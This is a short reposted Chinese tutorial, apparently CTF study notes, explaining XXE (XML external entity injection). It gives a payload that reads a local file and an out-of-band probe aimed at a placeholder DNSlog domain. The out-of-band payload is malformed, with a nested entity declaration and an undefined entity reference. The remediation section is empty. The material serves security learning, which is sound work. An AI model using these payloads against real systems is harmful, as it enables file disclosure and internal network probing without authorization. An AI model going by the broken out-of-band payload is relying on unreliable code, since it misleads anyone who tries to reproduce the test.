参考资料:CTF XXE
XXE原理&探针&利用
XXE用到的重点知识是XML
,XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE(XML External Entity Injection,即xml外部实体注入漏洞)
,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取(主要)、内网端口扫描、攻击内网网站等危害。
XML和HTML的主要差异:
- XML被设计为传输和存储数据,其焦点是数据的内容;
- HTML被设计用来显示数据,其焦点是数据的外观;
- HTML旨在显示信息,而XML旨在传输信息。
抓取数据包,查看Accept
和X-Requested-With
可以看出传输XML数据。
XXE读取文件
<?xml version="1.0"?><!DOCTYPE Mikasa [<!ENTITY test SYSTEM "file:///d:/e.txt">]><user><username>&test;</username><password>Mikasa</password></user>
具体请看CTF XXE
XXE带外测试
<?xml version="1.0"?><!DOCTYPE Mikasa [<!ENTITY test [<!ENTITY % file SYSTEM "<DNSlogs生成的域名>"]> %file;]><user><username>&send;</username><password>Mikasa</password></user>
当读取文件前端页面无回显的时候,就需要使用带外进行测试。例如,注释掉输出语句,前端将不会显示读取的内容。
再次读取将没有回显。没有回显,可能原因:1、代码写错了;2、文件路径、文件不存在;3、不回显。
带外测试就能证明漏洞存在。,带外测试也不会有回显,但是DNSlog上会有记录。
XXE实体引用
带外只能判断漏洞存不存在,读取文件时如何显示文件呢?实体引用
发送xml实体引用,目标文件的内容将会保存到file.txt
中。
XXE挖掘
主要是找XML解析函数。
XXE修复
原文地址:https://blog.csdn.net/qq_55202378/article/details/135951776
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.7code.cn/show_64039.html
如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除!